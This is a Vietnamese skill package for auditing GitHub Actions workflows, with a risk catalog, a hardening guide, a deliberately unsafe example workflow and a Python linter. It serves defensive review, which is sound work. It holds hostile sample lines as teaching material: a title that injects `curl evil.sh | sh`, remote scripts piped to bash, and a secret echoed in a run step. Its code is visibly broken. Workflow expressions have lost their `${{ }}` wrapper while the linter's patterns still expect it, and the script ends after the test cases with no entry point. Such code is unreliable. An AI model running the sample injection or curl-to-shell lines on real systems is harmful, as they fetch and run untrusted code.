Prompt YAML

---
name: github-actions-workflow-security-reviewer
description: Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---

# Trình Đánh Giá Bảo Mật Luồng Công Việc GitHub Actions

Bạn giúp những người bảo trì dự án tìm và khắc phục các lỗ hổng bảo mật trong `.github/workflows/*.yml` trước khi kẻ tấn công kịp khai thác. Bạn đọc từng luồng công việc (workflow) dưới góc nhìn của một bản fork độc hại, một người tạo issue, hoặc một action bên thứ ba đã bị xâm phạm; chỉ ra chính xác dòng có rủi ro, giải thích ngắn gọn trong một hoặc hai câu về cách thức nó có thể bị lạm dụng, và đưa ra bản vá tối thiểu giúp luồng công việc vẫn hoạt động bình thường.

## Các tệp trong kỹ năng này

- `scripts/gha_audit.py` - công cụ kiểm tra (linter) theo từng dòng cho các tệp luồng công việc: sự kiện kích hoạt (triggers), quyền hạn (permissions), cách ghim phiên bản trong `uses:`, lỗi chèn kịch bản (script injection) trong `run:` và `github-script`, lộ secrets trong câu lệnh, tải kịch bản từ xa truyền thẳng vào shell, self-hosted runners, cấu hình thời gian chờ tối đa (chỉ sử dụng thư viện chuẩn của Python 3, không cần thư viện YAML)
- `references/risk-catalog.md` - danh mục mọi mã quy tắc kèm mức độ nghiêm trọng, lý do tại sao nó quan trọng và cách khắc phục
- `references/hardening-guide.md` - các mẫu cấu hình an toàn: truyền gián tiếp qua biến môi trường (env indirection), phân quyền tối thiểu, ghim SHA kết hợp Dependabot, tách biệt luồng công việc có đặc quyền và không có đặc quyền
- `templates/workflow-security-review.md` - mẫu bình luận đánh giá hoặc báo cáo kiểm toán
- `examples/pr-labeler.yml` - một luồng công việc cố tình được viết không an toàn và các phát hiện dự kiến tương ứng

## Quy trình làm việc

### 1. Thu thập các luồng công việc
Yêu cầu cung cấp các tệp luồng công việc (hoặc đường dẫn kho mã nguồn) và bối cảnh: kho công khai hay riêng tư, các bản fork có được phép mở pull request hay không, có những biến bí mật (secrets) và môi trường (environments) nào, và có sử dụng self-hosted runner hay không. Các luồng công việc được kích hoạt bởi `pull_request_target`, `issue_comment`, `issues`, `workflow_run` hoặc `discussion` cần được soi kỹ nhất vì chúng chạy cùng với secrets của kho mã nguồn trên các sự kiện mà người ngoài có thể tự tạo ra.

### 2. Chạy công cụ kiểm tra (linter)
```
python3 scripts/gha_audit.py .github/workflows/*.yml
python3 scripts/gha_audit.py examples/pr-labeler.yml --json
python3 scripts/gha_audit.py ci.yml --strict
python3 scripts/gha_audit.py --self-test
```
Mã thoát (exit code) bằng 1 có nghĩa là có ít nhất một phát hiện mức độ cao (`--strict`: bất kỳ phát hiện nào); bằng 2 có nghĩa là không thể đọc được tệp. Công cụ kiểm tra này không cần PyYAML; nó hiểu được các bố cục luồng công việc phổ biến nhưng có thể bỏ sót các cú pháp YAML đặc biệt (anchors, flow mappings). Bạn cũng hãy tự đọc trực tiếp tệp đó.

### 3. Xác nhận từng phát hiện
Đối với mỗi phát hiện, hãy kiểm tra bối cảnh mà kịch bản không thể nhìn thấy: biểu thức đó có thực sự nằm dưới sự kiểm soát của kẻ tấn công hay không, job đó có giữ secrets hay token có quyền ghi hay không, action đó có đến từ một nhà phát hành đáng tin cậy hay không? Hãy hạ mức độ hoặc bỏ qua kèm theo lý do rõ ràng; tuyệt đối không âm thầm lược bỏ một phát hiện mức độ cao.

### 4. Đề xuất cách khắc phục
Sử dụng `references/risk-catalog.md` để tra cứu từng mã quy tắc và `references/hardening-guide.md` để lấy các mẫu cấu hình an toàn. Ưu tiên các thay đổi (diff) nhỏ gọn, dễ duyệt: chuyển `{}` vào trong `env:` và đặt biến shell trong dấu ngoặc kép, thêm `permissions: contents: read` ở cấp cao nhất, ghim `uses:` vào mã băm commit SHA đầy đủ kèm tên tag trong chú thích, đồng thời thêm `persist-credentials: false` và `timeout-minutes`.

### 5. Báo cáo
Điền vào `templates/workflow-security-review.md`: các tệp đã đánh giá, các phát hiện phân theo mức độ nghiêm trọng kèm số dòng, kịch bản tấn công cho từng phát hiện mức độ cao, bản vá lỗi, và các việc cần làm tiếp theo (bật Dependabot cho actions, bảo vệ nhánh, người phê duyệt môi trường).

## Quy tắc

- Luôn coi tiêu đề, nội dung, tên nhánh, thông điệp commit và bình luận từ PR cũng như issue là dữ liệu đầu vào do kẻ tấn công kiểm soát.
- Không bao giờ hỏi hoặc in ra giá trị của các biến bí mật (secrets); chỉ nhắc đến chúng bằng tên biến.
- Không viết mã khai thác thử nghiệm (proof-of-concept exploits) nhắm vào các kho mã nguồn không thuộc quyền sở hữu của người dùng; thay vào đó chỉ mô tả rủi ro.
- Kết quả chạy linter sạch lỗi không phải là sự đảm bảo tuyệt đối. Hãy nêu rõ những gì chưa được kiểm tra (các luồng công việc tái sử dụng, composite actions, cài đặt cấp kho mã nguồn).
FILE:references/risk-catalog.md
# Danh Mục Rủi Ro (các mã quy tắc được sử dụng bởi gha_audit.py)

| ID | Mức độ nghiêm trọng | Nội dung phát hiện | Tại sao điều này quan trọng | Cách khắc phục |
|---|---|---|---|---|
| GHA001 | high | Luồng công việc `pull_request_target` (hoặc `workflow_run`) thực hiện checkout nhánh head của PR (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Mã nguồn từ một bản fork được chạy cùng với secrets của kho và một token có quyền ghi ("pwn request") | Sử dụng `pull_request` để build mã nguồn không đáng tin cậy; chỉ giữ `pull_request_target` cho việc gắn nhãn/bình luận mà không checkout mã nguồn PR |
| GHA002 | high | Biểu thức `{}` không đáng tin cậy nằm bên trong `run:` hoặc `script:` của `github-script` (tiêu đề hoặc nội dung issue/PR, nội dung bình luận, head ref, thông điệp commit, tên/email tác giả, tên trang) | Văn bản được dán trực tiếp vào kịch bản trước khi thực thi, do đó một tiêu đề như `"; curl evil.sh | sh #` sẽ bị chạy thành lệnh | Truyền giá trị qua `env:` và sử dụng `"$TITLE"` trong shell |
| GHA003 | medium (low đối với `actions/*`, `github/*`) | `uses: owner/repo@v4` được ghim vào một tag | Các tag có thể bị trỏ sang commit khác; một action bị xâm phạm sẽ đưa mã độc vào quá trình build của bạn | Ghim vào mã băm commit SHA đủ 40 ký tự, giữ lại tên tag trong phần chú thích, để Dependabot tự động cập nhật |
| GHA004 | high | `uses:` trỏ tới một nhánh (`@main`, `@master`) hoặc không có ref | Mỗi lần chạy sẽ kéo bất kỳ mã nào đang nằm trên nhánh đó vào thời điểm hiện tại | Ghim vào một mã băm commit SHA |
| GHA005 | medium | Không khai báo `permissions:` ở cấp luồng công việc và cũng không khai báo trên tất cả các job | Biến `GITHUB_TOKEN` sẽ nhận quyền mặc định của kho mã nguồn, thường là quyền đọc/ghi trên mọi phạm vi | Thêm `permissions: contents: read` ở đầu tệp và chỉ cấp thêm quyền theo từng job cụ thể |
| GHA006 | high | `permissions: write-all` | Mọi phạm vi quyền đều có thể bị ghi bởi bất kỳ bước nào | Chỉ liệt kê đúng những phạm vi quyền thực sự cần thiết |
| GHA007 | high / medium | `{ secrets.X}` nằm trực tiếp bên trong lệnh `run:` (mức high khi được echo hoặc in ra) | Giá trị bí mật bị lưu lại trong lịch sử shell, danh sách tiến trình, nhật ký (logs), hoặc văn bản bị chèn | Ánh xạ biến bí mật vào `env:` và đọc qua `$X`; tuyệt đối không echo giá trị này |
| GHA008 | medium | `curl ... \| bash` hoặc `wget ... \| sh` | Thực thi mã từ xa chưa được xác minh cùng với token và secrets của job | Tải xuống, kiểm tra mã băm (checksum) hoặc chữ ký số, sau đó mới chạy; hoặc sử dụng một action đã được ghim cứng |
| GHA009 | medium | Sử dụng `self-hosted` runner trong một luồng công việc được kích hoạt bởi `pull_request` hoặc `pull_request_target` | Mã nguồn từ bản fork có thể bám trụ lại trên máy chủ và tấn công các job chạy sau đó | Sử dụng runner do GitHub lưu trữ hoặc runner dùng một lần (ephemeral) cho PR; yêu cầu phê duyệt đối với người đóng góp bên ngoài |
| GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Kích hoạt lại các lệnh `set-env`/`add-path` đã bị loại bỏ, vốn có thể bị kích hoạt thông qua kết quả in ra log | Xóa cấu hình này; ghi trực tiếp vào `$GITHUB_ENV` và `$GITHUB_PATH` |
| GHA011 | low | `actions/checkout` không có `persist-credentials: false` | Token vẫn lưu lại trong `.git/config` ở mọi bước tiếp theo và trong bất kỳ artifact nào được tải lên | Thêm `persist-credentials: false` trừ khi có bước phía sau cần thực hiện lệnh push |
| GHA012 | low | Job không có cấu hình `timeout-minutes` | Một job bị treo hoặc bị lạm dụng có thể chạy suốt 6 giờ làm tiêu tốn số phút miễn phí/trả phí của bạn | Thêm thời gian chờ tối đa hợp lý (ví dụ: 15-30) |
| GHA013 | low | `docker://image:tag` không có mã băm `@sha256:` | Các tag của image có thể bị ghi đè | Ghim cố định dạng `docker://image@sha256:<digest>` |
| GHA014 | medium | Luồng công việc `workflow_run` sử dụng `actions/download-artifact` | Các artifact sinh ra từ lần chạy do bản fork kích hoạt đều nằm dưới sự kiểm soát của kẻ tấn công | Coi nội dung artifact là dữ liệu thuần túy: kiểm tra tính hợp lệ, tuyệt đối không thực thi; tránh giải nén trực tiếp vào thư mục làm việc |

## Hướng dẫn phân loại mức độ nghiêm trọng
- **high**: người bên ngoài nhiều khả năng có thể chạy mã tùy ý cùng với secrets hoặc token có quyền ghi, hoặc một tham chiếu có thể thay đổi đang kiểm soát quá trình build.
- **medium**: lỗ hổng trong việc gia cố bảo mật khiến cho việc xâm phạm trở nên dễ dàng hơn hoặc gây hậu quả lớn hơn.
- **low**: thực hành tốt nên áp dụng; hãy sửa khi có dịp chỉnh sửa tệp đó.
FILE:references/hardening-guide.md
# Hướng Dẫn Gia Cố Bảo Mật (Hardening Guide)

## 1. Truyền văn bản không đáng tin cậy thông qua biến môi trường (env), không dùng biểu thức trực tiếp
```yaml
# unsafe
- run: echo "Title: { github.event.pull_request.title}"
# safe
- env:
    PR_TITLE: { github.event.pull_request.title}
  run: echo "Title: $PR_TITLE"
```
Luôn đặt biến trong dấu ngoặc kép. Trong `actions/github-script`, hãy đọc `context.payload.pull_request.title` trực tiếp trong JavaScript thay vì nội suy `{}` vào trong kịch bản.

## 2. Token theo nguyên tắc đặc quyền tối thiểu
```yaml
permissions:
  contents: read          # workflow default
jobs:
  label:
    permissions:
      pull-requests: write  # only this job can label
```
Đồng thời hãy đặt quyền mặc định của kho mã nguồn thành chỉ đọc (Settings > Actions > General > Workflow permissions).

## 3. Ghim các action vào mã băm commit SHA
```yaml
- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
```
Bật Dependabot cho hệ sinh thái `github-actions` để các mã băm đã ghim nhận được các PR cập nhật kèm theo nhật ký thay đổi (changelog). Ưu tiên sử dụng các action từ những nhà phát hành đã được xác minh và đọc kỹ mã nguồn của các action nhỏ từ bên thứ ba trước khi đưa vào sử dụng.

## 4. Tách biệt công việc có đặc quyền và không có đặc quyền
- Luồng công việc `pull_request`: thực hiện build và kiểm thử mã nguồn từ bản fork mà không có secrets và chỉ dùng token có quyền đọc; tải kết quả lên dưới dạng một artifact.
- Luồng công việc `workflow_run`: chạy nối tiếp sau đó cùng với secrets, tải artifact xuống, coi nội dung đó là dữ liệu không đáng tin cậy (chỉ phân tích cú pháp JSON, tuyệt đối không thực thi), rồi đăng bình luận hoặc gắn nhãn.

## 5. Checkout và thông tin xác thực
- Đặt `persist-credentials: false` trên `actions/checkout` trừ khi job đó cần thực hiện lệnh push.
- Tuyệt đối không checkout mã nguồn của PR trong `pull_request_target`; nếu bắt buộc phải checkout (ví dụ công cụ gắn nhãn cần đọc tệp cấu hình), chỉ checkout nhánh đích (base branch).

## 6. Runners và các giới hạn
- Self-hosted runners: chỉ dùng cho các kho mã nguồn riêng tư, hoặc phải là dạng dùng một lần (ephemeral - mỗi VM chỉ chạy một job rồi hủy) và không có quyền truy cập mạng vào các hệ thống nội bộ.
- Đặt `timeout-minutes` trên mọi job; cấu hình nhóm `concurrency` cho các luồng triển khai (deploy).

## 7. Secrets và các môi trường (environments)
- Đặt thông tin xác thực dùng để triển khai vào trong một môi trường (environment) có yêu cầu người phê duyệt bắt buộc và quy tắc giới hạn nhánh.
- Ưu tiên sử dụng OIDC (`id-token: write`) thay cho các khóa đám mây dài hạn.
- Che giấu các giá trị phái sinh bằng `::add-mask::` trước khi in ra bất kỳ nội dung nào giống như dữ liệu bí mật.

## Danh sách kiểm tra khi đánh giá
1. Những sự kiện kích hoạt (triggers) nào có thể bị người bên ngoài kích hoạt?
2. Token có thể ghi vào những đâu, và những biến bí mật (secrets) nào có thể tiếp cận được từ các sự kiện kích hoạt đó?
3. Có văn bản nào do kẻ tấn công kiểm soát bị nội suy trực tiếp vào kịch bản hay không?
4. Mọi khai báo `uses:` đã được ghim vào mã băm SHA hay chưa?
5. Có đoạn mã từ xa nào được thực thi mà không qua xác minh hay không?
FILE:templates/workflow-security-review.md
# Đánh Giá Bảo Mật GitHub Actions - <repository>

**Ngày:** <YYYY-MM-DD>  **Người đánh giá:** <name>  **Các tệp:** <.github/workflows/...>
**Chế độ hiển thị kho:** <public/private>  **Cho phép PR từ bản fork:** <yes/no>  **Self-hosted runners:** <yes/no>
**Công cụ kiểm tra:** `gha_audit.py` -> <n> high, <n> medium, <n> low

## Các phát hiện mức độ cao (High)
| Quy tắc | Tệp:dòng | Vấn đề | Kịch bản tấn công | Cách khắc phục |
|---|---|---|---|---|
| | | | | |

## Các phát hiện mức độ trung bình và thấp (Medium & Low)
| Quy tắc | Tệp:dòng | Vấn đề | Cách khắc phục |
|---|---|---|---|
| | | | |

## Các phát hiện đã loại trừ
- <quy tắc, tệp:dòng> - <lý do không thể khai thác trong trường hợp này>

## Bản vá đề xuất
```diff
<minimal diff>
```

## Những hạng mục không nằm trong phạm vi đánh giá này
- Các luồng công việc tái sử dụng (reusable workflows) và các composite action được gọi từ những tệp này
- Cài đặt cấp kho mã nguồn và cấp tổ chức (quyền mặc định của token, phê duyệt PR từ bản fork, cấu hình môi trường)

## Các việc cần làm tiếp theo
- [ ] Bật Dependabot cho hệ sinh thái github-actions
- [ ] Đặt quyền mặc định của luồng công việc thành chỉ đọc (read-only)
- [ ] Yêu cầu người phê duyệt đối với môi trường production
FILE:examples/pr-labeler.yml
# Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file):
#   GHA001 high   line 21 - pull_request_target checks out the PR head
#   GHA002 high   line 24 - PR title pasted into run (script injection)
#   GHA007 high   line 25 - secret echoed in run
#   GHA004 high   line 27 - third-party action on @main
#   GHA005 medium line 1  - no permissions block at workflow or job level
#   GHA008 medium line 26 - curl piped to bash
#   GHA012 low    line 16 - job without timeout-minutes
#   GHA003 low    line 19 - actions/checkout@v4 pinned to a tag
#   GHA011 low    line 19 - checkout without persist-credentials: false
name: PR labeler
on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: { github.event.pull_request.head.sha}
      - name: Greet
        run: |
          echo "Thanks for: { github.event.pull_request.title}"
          echo "token={ secrets.LABEL_TOKEN}"
          curl -sSL https://example.com/install.sh | bash
      - uses: someorg/auto-labeler@main
FILE:scripts/gha_audit.py
#!/usr/bin/env python3
"""GitHub Actions workflow security linter (Python 3 standard library only, no YAML library).

Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs
(see references/risk-catalog.md):
  GHA001 pull_request_target/workflow_run + checkout of PR head      high
  GHA002 untrusted { github.event.*} text inside run:/script:    high
  GHA003 uses: pinned to a tag instead of a commit SHA               medium (low for actions/*, github/*)
  GHA004 uses: on a branch (@main/@master) or without a ref          high
  GHA005 no permissions at workflow level or on every job            medium
  GHA006 permissions: write-all                                      high
  GHA007 { secrets.*} inside run: (high when echoed/printed)     high/medium
  GHA008 curl/wget piped to a shell                                  medium
  GHA009 self-hosted runner on pull_request(_target)                 medium
  GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled                     high
  GHA011 actions/checkout without persist-credentials: false         low
  GHA012 job without timeout-minutes                                 low
  GHA013 docker:// image without @sha256 digest                      low
  GHA014 workflow_run + actions/download-artifact                    medium

Usage:
  python3 gha_audit.py .github/workflows/*.yml
  python3 gha_audit.py ci.yml --json
  python3 gha_audit.py ci.yml --strict      # exit 1 on any finding
  python3 gha_audit.py --self-test
Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file.
"""
import argparse
import json
import re
import sys

SEV_ORDER = {"high": 0, "medium": 1, "low": 2}
TRUSTED_OWNERS = {"actions", "github"}
BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"}
UNTRUSTED_EXPR = re.compile(
    r"github\.head_ref"
    r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b"
)
EXPR = re.compile(r"\$\{\{(.*?)\}\}")
SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}")
PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}")
PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b")
PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b")
SHA40 = re.compile(r"^[0-9a-f]{40}$")


def strip_comment(line):
    """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes)."""
    out, q = [], None
    for i, ch in enumerate(line):
        if q:
            if ch == q:
                q = None
        elif ch in "'\"":
            q = ch
        elif ch == "#" and (i == 0 or line[i - 1] in " \t"):
            break
        out.append(ch)
    return "".join(out).rstrip()


def indent_of(s):
    return len(s) - len(s.lstrip(" "))


def parse_lines(text):
    """Return a list of (lineno, indent, content) for non-empty, non-comment lines."""
    rows = []
    for n, raw in enumerate(text.splitlines(), 1):
        s = strip_comment(raw.replace("\t", "  "))
        if s.strip():
            rows.append((n, indent_of(s), s.strip()))
    return rows


def block_end(rows, i):
    """Index after the block owned by rows[i] (all following rows indented deeper)."""
    ind = rows[i][1]
    j = i + 1
    while j < len(rows) and rows[j][1] > ind:
        j += 1
    return j


def key_of(content):
    c = content[2:].lstrip() if content.startswith("- ") else content
    m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c)
    return (m.group(1), c[m.end():].strip()) if m else (None, None)


def triggers(rows):
    trig = set()
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k in ("on", "true"):
            if v:
                trig.update(re.findall(r"[a-z_]+", v))
            else:
                end = block_end(rows, i)
                child = min((rows[j][1] for j in range(i + 1, end)), default=None)
                for j in range(i + 1, end):
                    if rows[j][1] == child:
                        ck, _ = key_of(rows[j][2])
                        if ck:
                            trig.add(ck)
                        elif rows[j][2].startswith("- "):
                            trig.add(rows[j][2][2:].strip())
    return trig


def audit_text(text, path="workflow.yml"):
    rows = parse_lines(text)
    findings = []

    def add(rule, sev, line, msg):
        findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg})

    trig = triggers(rows)
    privileged = trig & {"pull_request_target", "workflow_run"}
    pr_triggers = trig & {"pull_request", "pull_request_target"}

    top_perm = None
    jobs_idx = None
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k == "permissions":
            top_perm = (n, v)
        if ind == 0 and k == "jobs":
            jobs_idx = i
    if top_perm and top_perm[1].strip("'\"") == "write-all":
        add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes")

    # jobs
    jobs = []
    if jobs_idx is not None:
        end = block_end(rows, jobs_idx)
        child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None)
        for j in range(jobs_idx + 1, end):
            if rows[j][1] == child and key_of(rows[j][2])[0]:
                jobs.append((j, block_end(rows, j)))
    jobs_with_perm = 0
    for (js, je) in jobs:
        jname = key_of(rows[js][2])[0]
        jind = rows[js][1]
        direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else []
        dkeys = {key_of(r[2])[0]: r for r in direct}
        if "permissions" in dkeys:
            jobs_with_perm += 1
            if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all":
                add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all")
        if "timeout-minutes" not in dkeys and "uses" not in dkeys:
            add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)")
        if "runs-on" in dkeys:
            ro_i = rows.index(dkeys["runs-on"])
            ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)])
            if "self-hosted" in ro_text and pr_triggers:
                add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner")
    if top_perm is None and (not jobs or jobs_with_perm < len(jobs)):
        add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default")

    # line-level checks
    i = 0
    while i < len(rows):
        n, ind, c = rows[i]
        k, v = key_of(c)
        if k in ("run", "script"):
            end = block_end(rows, i)
            body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else []
            body += [(r[0], r[2]) for r in rows[i + 1:end]]
            for bn, bt in body:
                for m in EXPR.finditer(bt):
                    expr = m.group(1).strip()
                    if UNTRUSTED_EXPR.search(expr):
                        add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env")
                for m in SECRET_EXPR.finditer(bt):
                    if PRINT_CMD.search(bt):
                        add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:")
                    else:
                        add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead")
                if k == "run" and PIPE_SHELL.search(bt):
                    add("GHA008", "medium", bn, "remote script piped straight into a shell")
            i = end
            continue
        if k == "uses":
            ref = v.strip("'\"")
            if ref.startswith("./"):
                pass
            elif ref.startswith("docker://"):
                if "@sha256:" not in ref:
                    add("GHA013", "low", n, f"{ref} is not pinned to an image digest")
            else:
                name, _, at = ref.partition("@")
                owner = name.split("/")[0].lower()
                if not at or at.lower() in BRANCH_REFS:
                    add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA")
                elif not SHA40.match(at):
                    sev = "low" if owner in TRUSTED_OWNERS else "medium"
                    add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA")
                if name.lower().startswith("actions/checkout"):
                    # the step block: siblings at this indent (after '- ') and deeper
                    step_ind = ind + 2 if c.startswith("- ") else ind
                    j = i + 1
                    j0 = i
                    while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind:
                        j0 -= 1
                    while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")):
                        j += 1
                    step = " ".join(r[2] for r in rows[j0:j])
                    if not re.search(r"persist-credentials:\s*['\"]?false", step):
                        add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false")
                if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig:
                    add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data")
        if privileged and PR_HEAD_REF.search(c):
            add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available")
        if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I):
            add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path")
        i += 1

    findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"]))
    return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings}


def to_markdown(results):
    out = ["# GitHub Actions security audit", ""]
    tot = {"high": 0, "medium": 0, "low": 0}
    for r in results:
        for f in r["findings"]:
            tot[f["severity"]] += 1
    out.append(f"**Files:** {len(results)}  **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low")
    for r in results:
        out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""]
        if not r["findings"]:
            out.append("No findings.")
            continue
        out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"]
        for f in r["findings"]:
            msg = f["message"].replace("|", "\\|")
            out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |")
    return "\n".join(out)


SAFE = """name: CI
on:
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
        with:
          persist-credentials: false
      - name: Test
        env:
          PR_TITLE: { github.event.pull_request.title}
        run: |
          echo "Testing $PR_TITLE"
          make test
"""


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    def rules(text):
        return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]]

    ok("safe workflow has no findings", rules(SAFE) == [])
    ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"])
    ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"])
    inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"')
    ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj))
    ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}")))
    ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |")
                                                                      .replace("make test", "core.info('{ github.event.comment.body}')")))
    ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE)))
    ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == [])
    ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4")))
    ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1")))
    ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main")))
    ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == [])
    ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n  contents: read\n", "")))
    ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n  contents: read\n", "").replace("    timeout-minutes: 15\n", "    timeout-minutes: 15\n    permissions:\n      contents: read\n")) == [])
    ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n  contents: read", "permissions: write-all")))
    ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}")))
    ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}")))
    ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash")))
    ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]")))
    ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == [])
    ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true")))
    ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace("        with:\n          persist-credentials: false\n", "")))
    ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace("    timeout-minutes: 15\n", "")))
    ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20")))
    prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}")
    ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt))
    ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}"))))
    wr = SAFE.replace("pull_request:", "workflow_run:\n    workflows: [CI]").replace("      - name: Test", "      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n      - name: Test")
    ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr))
    ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"')
